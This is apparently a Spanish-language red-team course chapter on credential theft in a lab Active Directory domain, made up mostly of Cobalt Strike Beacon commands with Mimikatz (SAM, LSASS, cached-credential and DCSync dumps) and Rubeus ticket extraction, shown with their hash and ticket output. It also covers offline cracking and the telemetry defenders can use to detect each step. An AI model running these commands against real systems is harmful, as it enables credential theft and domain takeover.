Credential Theft
Obtaining Credential Material
Una vez elevados en una máquina, podemos obtener material de credenciales para otros usuarios que estén autenticados. Las credenciales pueden presentarse en forma de texto plano (nombre de usuario y contraseña), hashes (NTLM, AES, DCC, NetNTLM, etc.) y tickets de Kerberos. Este capítulo revisará cómo extraer credenciales en varios formatos. El capítulo de User Impersonation mostrará cómo se pueden aprovechar estos diferentes formatos de credenciales.
Beacon + Mimikatz
Cobalt Strike tiene una versión integrada de Mimikatz que podemos usar para extraer varios tipos de credenciales. Sin embargo, hay algunas diferencias en cómo se comporta en Beacon en comparación con la versión de consola. Cada vez que ejecutas Mimikatz en Beacon, lo hace en un nuevo proceso temporal que luego se destruye. Esto significa que no puedes ejecutar dos comandos "relacionados", como:
beacon> mimikatz token::elevate
beacon> mimikatz lsadump::sam
Desde CS 4.8, puedes encadenar múltiples comandos separándolos con un punto y coma.
beacon> mimikatz token::elevate ; lsadump::sam
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
552 {0;000003e7} 1 D 28330 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;000d4499} 2 F 3234168 DEV\bfarmer S-1-5-21-569305411-121244042-2357301523-1104 (15g,24p) Primary
* Thread Token : {0;000003e7} 1 D 3295086 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646
SAMKey : b0664279732686cfbb4b788c078fea82
RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
lm - 0: 91b6e660bcac036ae7ab67a3d383bc82
ntlm- 0: fc525c9683e8fe067095ba2ddc971889
Beacon también tiene su propia convención de comandos usando los símbolos ! y @ como "modificadores".
El ! eleva Beacon a SYSTEM antes de ejecutar el comando dado, lo cual es útil en casos donde estás operando con alta integridad pero necesitas suplantar a SYSTEM. En la mayoría de los casos, ! es un reemplazo directo para token::elevate. Por ejemplo:
beacon> mimikatz !lsadump::sam
El @ suplanta el token de hilo de Beacon antes de ejecutar el comando dado, lo cual es útil en casos donde Mimikatz necesita interactuar con un sistema remoto, como con dcsync. Esto también es compatible con otros primitivas de suplantación como make_token y steal_token. Por ejemplo:
beacon> getuid
[*] You are DEV\bfarmer
beacon> make_token DEV\nlamb F3rrari
[+] Impersonated DEV\nlamb (netonly)
beacon> mimikatz @lsadump::dcsync /user:DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/15/2022 4:01:04 PM
Object Security ID : S-1-5-21-569305411-121244042-2357301523-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
lm - 0: 207d5e08551c51892309c0cf652c353b
NTLM Hashes
El módulo de Mimikatz sekurlsa::logonpasswords es famoso por ser capaz de "extraer contraseñas en texto plano de la memoria". Tener la contraseña de un usuario tiene ventajas obvias y fue una táctica lucrativa durante mucho tiempo. Sin embargo, Microsoft ha implementado muchas mitigaciones en Windows 10 y versiones posteriores, como deshabilitar wdigest por defecto, por lo que encontrar contraseñas en texto plano es ciertamente menos común.
Este módulo aún es capaz de recuperar hashes NTLM, lo cual es útil para combinarlos con Pass the Hash o incluso crackearlos para recuperar el texto plano.
Este comando requiere privilegios elevados.
beacon> mimikatz !sekurlsa::logonpasswords
Authentication Id : 0 ; 579458 (00000000:0008d782)
Session : Batch from 0
User Name : jking
Domain : DEV
Logon Server : DC-2
Logon Time : 8/31/2022 11:49:48 AM
SID : S-1-5-21-569305411-121244042-2357301523-1105
msv :
[00000003] Primary
* Username : jking
* Domain : DEV
* NTLM : 59fc0f884922b4ce376051134c71e22c
* SHA1 : 74fa9854d529092b92e0d9ebef7ce3d065027f45
* DPAPI : 0837e40088a674327961e1d03946f5f2
Cobalt Strike también tiene un comando abreviado para esto llamado logonpasswords. Después de extraer estas credenciales, ve a View > Credentials para ver una copia de ellas.
OPSEC
Este módulo abrirá un identificador de lectura hacia LSASS que puede ser registrado bajo el evento 4656. Usa la búsqueda guardada "Suspicious Handle to LSASS" en Kibana para verlos.
Esto muestra al usuario WKSTN-2$ (lo que significa SYSTEM en WKSTN-2) obteniendo un identificador hacia LSASS desde powershell.exe con una máscara de acceso de 0x1010. Esto proviene de los flags PROCESS_QUERY_LIMITED_INFORMATION (0x1000) y PROCESS_VM_READ (0x0010), lo cual es consistente con el código fuente de Mimikatz.
Kerberos Encryption Keys
El módulo sekurlsa::ekeys de Mimikatz extraerá las claves de cifrado Kerberos de los usuarios que actualmente han iniciado sesión. Dado que la mayoría de los servicios modernos de Windows prefieren utilizar Kerberos en lugar de NTLM, aprovechar estas claves en lugar de los hashes NTLM tiene más sentido para mezclarse con el tráfico de autenticación normal.
Estas claves pueden ser utilizadas en una variedad de escenarios de abuso de Kerberos.
Este comando requiere privilegios elevados.
beacon> mimikatz !sekurlsa::ekeys
Authentication Id : 0 ; 459935 (00000000:0007049f)
Session : Batch from 0
User Name : jking
Domain : DEV
Logon Server : DC-2
Logon Time : 9/1/2022 7:29:19 AM
SID : S-1-5-21-569305411-121244042-2357301523-1105
* Username : jking
* Domain : DEV.CYBERBOTIC.IO
* Password : (null)
* Key List :
aes256_hmac 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
rc4_hmac_nt 59fc0f884922b4ce376051134c71e22c
rc4_hmac_old 59fc0f884922b4ce376051134c71e22c
rc4_md4 59fc0f884922b4ce376051134c71e22c
rc4_hmac_nt_exp 59fc0f884922b4ce376051134c71e22c
rc4_hmac_old_exp 59fc0f884922b4ce376051134c71e22c
Info
Existe un problema conocido donde Mimikatz puede etiquetar incorrectamente todos los hashes como des_cbc_md4.
En este caso, la clave AES256 es la que queremos. Estos hashes no se agregan automáticamente al modelo de datos Credential, pero pueden ser añadidos manualmente a través de View > Credentials > Add.
OPSEC
Este módulo también abre un manejador de lectura a LSASS.
Security Account Manager
La base de datos Security Account Manager (SAM) contiene únicamente los hashes NTLM de las cuentas locales. Estos pueden ser extraídos con el módulo lsadump::sam de Mimikatz. Si se utiliza una cuenta de administrador local común con la misma contraseña en todo un entorno, esto puede facilitar enormemente el movimiento lateral.
Este comando requiere privilegios elevados.
beacon> mimikatz !lsadump::sam
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646
SAMKey : b0664279732686cfbb4b788c078fea82
RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
lm - 0: 91b6e660bcac036ae7ab67a3d383bc82
ntlm- 0: fc525c9683e8fe067095ba2ddc971889
OPSEC
Este módulo abrirá un manejador al hive del registro SAM. Utiliza la búsqueda guardada "Suspicious SAM Hive Handle" en Kibana para verlos.
Domain Cached Credentials
Domain Cached Credentials (DCC) fue diseñado para casos en los que se requieren credenciales de dominio para iniciar sesión en una máquina, incluso cuando está desconectada del dominio (por ejemplo, una laptop en movimiento). El dispositivo local almacena en caché las credenciales del dominio para que la autenticación pueda realizarse localmente, pero estas pueden ser extraídas y descifradas sin conexión para recuperar las credenciales en texto plano.
Desafortunadamente, el formato del hash no es NTLM, por lo que no puede ser utilizado con pass the hash. El único uso viable para estos hashes es descifrarlos sin conexión.
El módulo lsadump::cache de Mimikatz puede extraer estos desde HKLM\SECURITY.
Este comando requiere privilegios elevados.
beacon> mimikatz !lsadump::cache
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local name : WKSTN-2 ( S-1-5-21-2281971671-4135076198-2136761646 )
Domain name : DEV ( S-1-5-21-569305411-121244042-2357301523 )
Domain FQDN : dev.cyberbotic.io
Policy subsystem is : 1.18
LSA Key(s) : 1, default {9f88abd7-1cb9-d741-372b-c883b3cbf843}
[00] {9f88abd7-1cb9-d741-372b-c883b3cbf843} c38164900449d2c6d81b557198ab0cbda2c0ce1c9f57c717cb221032ba1adffb
* Iteration is set to default (10240)
[NL$1 - 9/1/2022 8:10:06 AM]
RID : 00000450 (1104)
User : DEV\bfarmer
MsCacheV2 : 98e6eec9c0ce004078a48d4fd03f2419
[NL$2 - 9/1/2022 10:29:19 AM]
RID : 00000451 (1105)
User : DEV\jking
MsCacheV2 : 0d50dee9ed3f29d00282168297090d2a
Para descifrar estos hashes con hashcat, necesitamos transformarlos al formato esperado. La página de ejemplos de hashes nos muestra que debería ser $DCC2$<iterations>#<username>#<hash>.
DCC es órdenes de magnitud más lento para descifrar que NTLM.
OPSEC
Este módulo abrirá un manejador al hive del registro SECURITY. Utiliza la búsqueda guardada "Suspicious SECURITY Hive Handle" en Kibana para verlos.
Extracting Kerberos Tickets
Una desafortunada consecuencia de las técnicas mencionadas anteriormente es que obtienen manejadores para recursos sensibles, los cuales pueden ser auditados y registrados con bastante facilidad. Rubeus es una herramienta en C# diseñada para la interacción y abuso de Kerberos, utilizando APIs legítimas de Windows.
Su comando triage listará todos los tickets de Kerberos en tu sesión de inicio de sesión actual y, si está en modo elevado, de todas las sesiones de inicio de sesión en la máquina.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
Action: Triage Kerberos Tickets (All Users)
[*] Current LUID : 0x14b5fa
-----------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------------------------------
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 6:10:14 PM |
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:14 PM |
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 6:10:14 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | ldap/dc-2.dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x7049f | jking @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:29:20 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | ldap/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | WKSTN-2$ | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | wkstn-2$@DEV.CYBERBOTIC.IO | 9/1/2022 7:43:42 AM |
-----------------------------------------------------------------------------------------------------------------
Cada usuario tiene su propia sesión de inicio, que está representada por un LUID (identificador único local). En este ejemplo, estamos operando dentro del LUID de bfarmer, 0x14b5fa. La cuenta de máquina WKSN-2$ tiene su propia sesión, 0x3e4; y jking también tiene una sesión, 0x7049f. Los tickets para el nombre de servicio krbtgt son Ticket Granting Tickets (TGTs) y otros son Ticket Granting Service Tickets (TGSs). Los diferentes tipos de tickets se describen con más detalle en el capítulo de Kerberos.
El comando dump de Rubeus extraerá estos tickets de la memoria, pero debido a que utiliza WinAPIs, no necesita abrir manejadores sospechosos hacia LSASS. Si no estamos en modo elevado, solo podemos extraer tickets de nuestra propia sesión. Sin argumentos adicionales, Rubeus extraerá todos los tickets posibles, pero podemos ser más específicos utilizando los parámetros /luid y /service.
Por ejemplo, si solo queremos el TGT para jking, podemos hacer:
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt
Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
[*] Target LUID : 0x7049f
[*] Current LUID : 0x14b5fa
UserName : jking
Domain : DEV
LogonId : 0x754c2
UserSID : S-1-5-21-569305411-121244042-2357301523-1105
AuthenticationPackage : Kerberos
LogonType : Batch
LogonTime : 10/13/2022 9:36:19 AM
LogonServer : DC-2
LogonServerDNSDomain : DEV.CYBERBOTIC.IO
UserPrincipalName : jking@cyberbotic.io
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : jking
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 10/13/2022 9:36:20 AM
EndTime : 10/13/2022 7:36:20 PM
RenewTill : 10/20/2022 9:36:20 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : EIkrCAL8wx98PVRBOZGDKC6Y0KReSosWtvXyv6rIefI=
Base64EncodedTicket :
doIFuj [...snip...] lDLklP
Esto generará el(los) ticket(s) en formato codificado en base64.
Info
También puedes agregar la opción /nowrap que formateará la codificación base64 en una sola línea, lo que hace que copiar y pegar sea mucho más fácil.
DCSync
El protocolo Directory Replication Service (MS-DRSR) se utiliza para sincronizar y replicar datos de Active Directory entre controladores de dominio. DCSync es una técnica que aprovecha este protocolo para extraer nombres de usuario y datos de credenciales desde un DC.
Info
Esto requiere GetNCChanges, que usualmente solo está disponible para administradores de dominio. La técnica se incluye aquí para completar la información y será útil más adelante.
Beacon tiene un comando dedicado dcsync, que llama a mimikatz lsadump::dcsync en segundo plano.
beacon> make_token DEV\nlamb F3rrari
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
Credentials:
Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
lm - 0: 207d5e08551c51892309c0cf652c353b
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
Aquí hemos extraído las claves NTLM y AES para la cuenta krbtgt utilizando nlamb (un administrador de dominio).
OPSEC
La replicación de directorios puede ser detectada si la auditoría de acceso al servicio de directorio está habilitada, buscando eventos 4662 donde el GUID identificador es 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (para DS-Replication-Get-Changes y DS-Replication-Get-Changes-All) o 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set).
Encuentra estos eventos usando la búsqueda guardada "Suspicious Directory Replication" en Kibana.
El tráfico de replicación generalmente solo ocurre entre controladores de dominio, pero también puede ser visto a través de aplicaciones como Azure AD Connect. Las organizaciones maduras deben establecer una línea base del tráfico DRS típico para encontrar anomalías sospechosas.



